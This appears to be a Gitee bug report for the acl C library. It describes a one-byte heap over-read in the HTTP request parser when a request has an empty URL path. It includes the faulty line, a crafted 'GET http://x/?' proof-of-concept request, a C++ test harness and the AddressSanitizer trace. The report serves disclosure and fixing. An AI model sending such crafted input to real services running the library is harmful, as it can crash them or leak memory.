Bug报告：HTTP请求解析器在空URL路径下发生越界读取

### 根因
问题位于`lib_protocol/src/http/http_hdr_req.c`的`__strip_url_path()`函数：
```c
const char last_ch = *(url + strlen(url) - 1);
```
当HTTP请求目标为`http://x/?`时，传入的URL路径为空字符串。此时`strlen(url)`为0，代码会访问`url`之前的一个字节，导致一字节堆越界读取。

### 复现步骤
 **1. 获取源码并编译** 
```bash
git clone --depth 1 https://gitee.com/acl-dev/acl.git
cd acl

CC=clang CXX=clang++ cmake -S . -B build-asan \
  -DCMAKE_BUILD_TYPE=Debug \
  -DACL_BUILD_SHARED=NO \
  -DCMAKE_C_COMPILER=clang \
  -DCMAKE_CXX_COMPILER=clang++ \
  -DCMAKE_C_FLAGS='-g -O1 -fno-omit-frame-pointer -fsanitize=address -Wno-error=unused-private-field -Wno-error=unused-variable -Wno-error=unused-function -Wno-error=sign-compare -Wno-error=deprecated-declarations' \
  -DCMAKE_CXX_FLAGS='-g -O1 -fno-omit-frame-pointer -fsanitize=address -Wno-error=unused-private-field -Wno-error=unused-variable -Wno-error=unused-function -Wno-error=sign-compare -Wno-error=deprecated-declarations'

cmake --build build-asan -j"$(nproc)"
```

**2. 准备请求数据poc** 
```bash
printf 'GET http://x/? HTTP/1.1\r\nHost: x\r\n\r\n' > poc
```

**3. 创建HTTP请求解析测试程序** 
编写`acl_http_req`用于调用ACL HTTP请求解析接口的测试程序，将以下代码保存为ACL源码根目录下的 `acl_http_req.cpp`：
```cpp
#include <cstdio>
#include <cstdlib>
#include "lib_acl.h"
#include "http/lib_http.h"

int main(int argc, char** argv)
{
    if (argc < 2) return 0;

FILE* f = fopen(argv[1], "rb");
    if (!f) return 0;

fseek(f, 0, SEEK_END);
    long n = ftell(f);
    fseek(f, 0, SEEK_SET);
    if (n <= 0 || n > 65536) {
        fclose(f);
        return 0;
    }

char* buf = (char*) malloc((size_t) n + 1);
    if (!buf) {
        fclose(f);
        return 0;
    }

size_t rd = fread(buf, 1, (size_t) n, f);
    fclose(f);
    buf[rd] = 0;

HTTP_HDR_REQ* req = http_hdr_req_new();
    if (req) {
        char* p = buf;
        int first = 1;
        while (*p) {
            char* end = p;
            while (*end && *end != '\\n') end++;

char old_end = *end;
            *end = 0;
            if (end > p && *(end - 1) == '\\r') *(end - 1) = 0;

if (*p) {
                HTTP_HDR_ENTRY* entry;
                if (first) {
                    entry = http_hdr_entry_head(p);
                    first = 0;
                } else {
                    entry = http_hdr_entry_new2(p);
                }
                if (entry) http_hdr_append_entry(&req->hdr, entry);
            }

*end = old_end;
            if (!*end) break;
            p = end + 1;
        }

http_hdr_req_parse3(req, 1, 1);
        http_hdr_req_free(req);
    }

free(buf);
    return 0;
}
```
在ACL源码根目录执行以下命令编译测试程序：
```bash
clang++ -g -O1 -fno-omit-frame-pointer -fsanitize=address \
  -Ilib_acl/include \
  -Ilib_protocol/include \
  acl_http_req.cpp \
  build-asan/lib/libacl_cpp.a \
  build-asan/lib/libprotocol.a \
  build-asan/lib/libacl.a \
  -lpthread -ldl -lz \
  -o acl_http_req
```

**4. 运行HTTP请求解析poc测试程序** 
使用项目的HTTP请求解析接口读取`poc`，并在AddressSanitizer环境下运行：
```bash
./acl_http_req poc
```

### ASAN报错
```bash
=================================================================
==3473261==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50600000001f at pc 0x559a81d39a08 bp 0x7ffd1593ab50 sp 0x7ffd1593ab48
READ of size 1 at 0x50600000001f thread T0
    #0 0x559a81d39a07 in __strip_url_path /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:620:24
    #1 0x559a81d36ba1 in __parse_url_and_port /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:723:3
    #2 0x559a81d36ba1 in http_hdr_req_line_parse /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:838:2
    #3 0x559a81d38604 in http_hdr_req_parse3 /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:858:6
    #4 0x559a81d32199 in main /src/test/results/fuzzing_acl/test/acl/acl_http_req.cpp:59:9
    #5 0x7f53d2fc61c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
    #6 0x7f53d2fc628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
    #7 0x559a81c4e5c4 in _start (/src/test/results/fuzzing_acl/test/acl/acl_http_req+0x3f5c4) (BuildId: e524a0db3bfc1da803b9226ba686abd104470b50)

0x50600000001f is located 1 bytes before 64-byte region [0x506000000020,0x506000000060)
allocated by thread T0 here:
    #0 0x559a81cee3f3 in malloc (/src/test/results/fuzzing_acl/test/acl/acl_http_req+0xdf3f3) (BuildId: e524a0db3bfc1da803b9226ba686abd104470b50)
    #1 0x559a81d51510 in acl_vstring_slice_alloc /src/test/results/fuzzing_acl/test/acl/lib_acl/src/stdlib/acl_vstring.c:221:37
    #2 0x559a81d51510 in acl_vstring_alloc /src/test/results/fuzzing_acl/test/acl/lib_acl/src/stdlib/acl_vstring.c:200:9
    #3 0x559a81d355e8 in __hdr_init /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:22:17
    #4 0x559a81d35550 in http_hdr_req_new /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c
    #5 0x559a81d31fca in main /src/test/results/fuzzing_acl/test/acl/acl_http_req.cpp:31:25
    #6 0x7f53d2fc61c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
    #7 0x7f53d2fc628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
    #8 0x559a81c4e5c4 in _start (/src/test/results/fuzzing_acl/test/acl/acl_http_req+0x3f5c4) (BuildId: e524a0db3bfc1da803b9226ba686abd104470b50)

SUMMARY: AddressSanitizer: heap-buffer-overflow /src/test/results/fuzzing_acl/test/acl/lib_protocol/src/http/http_hdr_req.c:620:24 in __strip_url_path
Shadow bytes around the buggy address:
  0x505ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x505ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x505ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x505fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x505fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x506000000000: fa fa fa[fa]00 00 00 00 00 00 00 00 fa fa fa fa
  0x506000000080: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x506000000100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x506000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x506000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x506000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3473261==ABORTING
```

GVP acl-dev / acl

内容风险标识

评论 (1)

GVPacl-dev / acl

内容风险标识